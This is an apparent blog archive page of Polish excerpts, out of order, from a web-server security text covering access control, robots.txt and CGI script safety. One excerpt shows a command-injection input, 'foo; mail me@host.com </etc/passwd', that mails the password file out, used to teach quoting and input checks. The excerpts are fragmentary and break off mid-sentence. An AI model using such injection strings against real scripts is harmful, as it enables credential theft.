Archive for August, 2009

Jednakże może się zdarzyć, że zechcesz opublikować

Jednakże może się zdarzyć, że zechcesz opublikować pewne pliki, które nie powinny być oglądane przez wszystkich. Mogą to być nie do końca dopracowane strony, które zechcesz po­kazać tylko kilku wybranym osobom. Może to być prezentacja, która nie powinna być dostęp­na dla nikogo, kto znajduje się poza Twoją lokalną siecią komputerową (popularnie zwaną „intranetem”).
Do takich właśnie celów opracowane zostały


By Progs in html  .::. (Add your comment)

Tak więc czytelnik może zmienić dane i

Tak więc czytelnik może zmienić dane i przesłać je do Twojego skryptu, który nie potrafi przecież stwierdzić, czy otrzymał je z oryginalnego, czy zmienionego formularza.
Kontrola dostępu do serwera WWW i autoryzacja — wprowadzenie
Gdy uruchomisz serwer WWW i opublikujesz za jego pomocą jakieś prezentacje, będą one dostępne dla każdego użytkownika przeglądarki, mającego dostęp do Internetu. W końcu o to przecież chodzi, prawda? Publikacja w sieci WWW oznacza ogólną dostępność.


By Progs in C++  .::. (Add your comment)

Ogólnym zarysie przypominają to, czego się spodziewasz.

Ogólnym zarysie przypominają to, czego się spodziewasz.
Używaj języka programowania, w którym przemycenie argumentów nie jest takie banalne, jak w przypadku shella (Perl, C).
Jeżeli wykorzystujesz formularze, nigdy nie zaszywaj ważnych danych w postaci ukrytych pól formularza lub jako danych przekazywanych do skryptu, który jest określony argumentem ACTION. Pamiętaj, że treść formularza może podejrzeć dokładnie każdy, wystarczy tylko wybrać opcję podglądu pliku źródłowego w dowolnej



Użyt­kownik foo jest aktualnie zalogowany

Użyt­kownik foo jest aktualnie zalogowany w systemie, przesyła dodatkowo zawartość pliku /etc/passwd (plik z hasłami) na adres e-mail me@host.com. Teraz, w wolnym czasie, intruz może spróbować rozszyfrować hasło i włamanie gotowe!
Co więc można zrobić, aby uszczelnić tę i podobne luki w zabezpieczeniach? Oto kilka wska­zówek.
Zawsze umieszczaj argumenty skryptów w nawiasach i w cudzysłowie, tak aby $1 wyglądało jak ”${1}”. Ta prosta sztuczka w pewien sposób izoluje argumenty i nie pozwala, aby polecenia przemycone tą drogą były wykonywane, tak jak w przykładzie ze średnikiem.
Szukaj w argumentach specjalnych znaków, takich jak średnik. Upewnij się, że dane przekazane do skryptu przynajmniej


By Progs in pierwsza  .::. (Add your comment)

Na przesz­kodzie, aby wpisać następującą

Na przesz­kodzie, aby wpisać następującą linię:
foo; mail me@host.com </etc/passwd
Nie jest to oczywiście nazwa użytkownika, oznacza to, że ktoś próbuje bawić się naszym skryptem. A co się stanie, gdy argument ten zostanie przekazany do skryptu? Ponieważ zos­tał on napisany tak, a nie inaczej, ostateczna postać wykonywanej linii będzie następująca:
who | grep foo; mail me@host.com </etc/passwd
A co to oznacza? Jeżeli shell UNIX-a nie jest Ci zbyt dobrze znany, powiem, że średnik słu­ży do oddzielania od siebie kolejnych poleceń. Tak więc skrypt, oprócz sprawdzenia


By Progs in C++  .::. (Add your comment)

Opisywałam w rozdziale 18.: #!/bin/sh

Opisywałam w rozdziale 18.:
#!/bin/sh

ison=’who | grep $1’

Jak zapewne sobie przypominasz skrypt ten pobiera argument w postaci nazwy użytkownika i sprawdza, czy jest on w danej chwili obecny w systemie. Jeżeli jako argument podany zos­ta­nie identyfikator użytkownika, wszystko będzie w porządku, ale przecież nic nie


By Progs in C++  .::. (Add your comment)

Aby dobrać się do Twoich

Aby dobrać się do Twoich danych. Postaraj się jak najwięcej eksperymentować ze swoimi skrypta­mi i spróbuj przewidzieć, jakie dziwne argumenty mogą zostać przekazane z formu­larzy.
Dziwne argumenty? Niby jakie? Mogą to być polecenia przekazywane do skryptu, które zo­staną następnie przez niego wykonane. Oto część oryginalnej wersji skryptu pinggeneric,


By Progs in kodowanie  .::. (Add your comment)

Serwerze, a najlepiej pisz wszystkie

Serwerze, a najlepiej pisz wszystkie skrypty samodzielnie. Jest to najlepszy sposób na uzyskanie pewności, że nie będą one po­wodowały żadnych problemów. Pamiętaj, że jeżeli ktoś będzie bardzo chciał zaatakować Twój system, będzie próbował różnych sposobów, przy czym niekoniecznie będzie robił to tylko za pośred­nictwem luk w serwerze WWW. Ale nawet pobieżna kontrola wszystkich uruchamianych skryptów może powstrzymać niektórych hackerów.
Aby pisać bezpieczne skrypty, dobrze jest cierpieć na lekką paranoję i zakładać, że każdy jest potencjalnym złoczyńcą i będzie próbował różnych, przeważnie nieczystych


By Progs in kodowanie  .::. (Add your comment)

Pisać bezpieczne skrypty CGI Poprzednio

Pisać bezpieczne skrypty CGI
Poprzednio wspomniałam, że pierwszą rzeczą, którą należałoby zrobić, aby zapewnić pełne bezpieczeństwo serwera WWW, jest rezygnacja z używania skryptów CGI. Bez tego nie można jednak korzystać z takich mechanizmów, jak formularze, przeszukiwanie stron, ak­tywne obrazki czy SSI. Wyłączenie CGI oznacza rezygnację z wielu bardzo atrakcyjnych możliwości, tak więc warto zastanowić się nad innym rozwiązaniem.
Sposobem tym może być pełniejsza kontrola skryptów. Upewnij się, że jesteś jedyną osobą, która umieszcza skrypty w katalogu CGI na


By Progs in kodowanie  .::. (Add your comment)

WWW. Więcej informacji na temat

WWW. Więcej informacji na temat robotów, wykorzystania pliku robots.txt (również wskazówki, jak radzić sobie z „nieposłusznymi” programami) oraz nazwy progra­mów, które można umieszczać w liniach User-agent znajdziesz pod adresem http://web.nexor.co.uk/mak/doc/robots/robots.html.


By Progs in kodowanie  .::. (Add your comment)

Określone programy, co do których

Określone programy, co do których działania nie masz żadnych wątpliwości. Poniższy przykład odcina dostęp do plików serwera wszyst­kim robotom z wyjątkiem WebCrawlera:
User-agent: *Disallow: /
#let webcrawler in /user
User-agent: WebCrawler/0.00000001
Disallow:
Należy pamiętać, że plik robots.txt jest sprawdzany tylko przez te roboty, których produ­cenci stosują się do przyjętych reguł. Każdy program, którego autor nie podporządkował się zasadom, może wciąż narobić sporego zamieszania w Twoim systemie, niemniej jednak umieszczenie tego zbioru „unieszkodliwia” większość standardowych robotów, przeszuku­jących


By Progs in C++  .::. (Add your comment)

/ Jeżeli nie chcesz, aby

/
Jeżeli nie chcesz, aby jakikolwiek robot przeglądał pliki znajdujące się w katalogu /data i we wszystkich jego podkatalogach (mogą się tam znajdować pliki, przeznaczone tylko i wy­łącznie do użytku wewnętrznego), plik robots.txt powinien wyglądać tak:
User-agent: *Disallow: /data/
Dodając kolejne linie, rozpoczynające się od wyrażenia User-agent oraz Disallow, możesz dopuszczać przeglądanie stron serwera


By Progs in C++  .::. (Add your comment)

O nazwie robots.txt i umieścić

O nazwie robots.txt i umieścić go na najwyższym poziomie drzewa katalogów, tak aby jego URL wyglądał następująco: http://nazwa.serwera/robots.txt.
W pliku tym powinna znaleźć się jedna lub kilka linii, które zabraniają lub zezwalają okreś­lonym programom (user-agents) na dostęp do stron na Twoim serwerze oraz jedna lub kil­ka linii opisujących katalogi, do których dostęp ma zostać odcięty (disallowed). Naj­pros­tsza postać pliku robots.txt („żadnych robotów na moim serwerze!”) wygląda następują­co:
User-agent:



Plików, które nigdy nie powinny

Plików, które nigdy nie powinny być odczytywane. Z tych powodów producenci robo­tów wyszli z inicjatywą wprowadzenia opcji, która uniemożliwiałaby ich programom przeszu­kiwanie całości lub części plików na serwerach WWW.
Aby odciąć roboty sieciowe od plików na swoim serwerze, musisz utworzyć



Obejmują swoim zasięgiem sporą część światowych zasobów

Obejmują swoim zasięgiem sporą część światowych zasobów WWW i wyszukiwanie za ich pomocą przynosi całkiem przyzwoite efekty.

Problem z robotami polega na tym, że kiepski program może przeciążyć serwer ciągłymi żądaniami przesyłania kolejnych stron. Może się to też skończyć próbą odczytania z ser­wera


By Progs in pierwsza  .::. (Add your comment)

Kluczowych, dzięki czemu użytkow­nicy mogą szybko odnaleźć

Kluczowych, dzięki czemu użytkow­nicy mogą szybko odnaleźć strony, zawierające interesujące ich wyrażenia.

Pomysł wygląda fantastycznie, nieprawdaż? Niestety, prawda jest taka, że sieć rozrasta się zbyt gwałtownie i roboty nie nadążają z indeksowaniem wszystkich nowych stron. Najlepsze z tych programów, funkcjonujące na bardzo szybkich i kosztownych komputerach, potrzebują aż sześciu miesięcy na przejrzenie całej sieci. Jednakże stron w sieci przybywa znacznie szybciej i żaden robot nie jest w stanie dotrzymać kroku temu rozwojowi. Należy stwierdzić, że programy, takie jak WebCrawler (http://www.webcrawler.com/) czy AltaVista



Wyłączony. Jednakże w przykładowym pliku access.conf znajduje

Wyłączony. Jednakże w przykładowym pliku access.conf znajduje się następująca linia:
Options Indexes FollowSymLinks
Jeżeli zechcesz wykorzystać ten plik, to usunięcie z linii słowa Indexes spowodu­je włączenie omawianego mechanizmu.
Odetnij robotom sieciowym dostęp
do swojego serwera

Roboty sieciowe (czasami określane po prostu jako roboty) to programy, które zajmują się automatycznym przeglądaniem zawartości stron WWW. Podążają one zgodnie z kolejnymi połączeniami i zapisują w swoich bazach da­nych nazwy plików, ich adresy URL, a czasami nawet całą zawartość. Utworzone w ten spo­sób zbiory danych służą następnie do wyszukiwania


By Progs in pierwsza  .::. (Add your comment)


You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.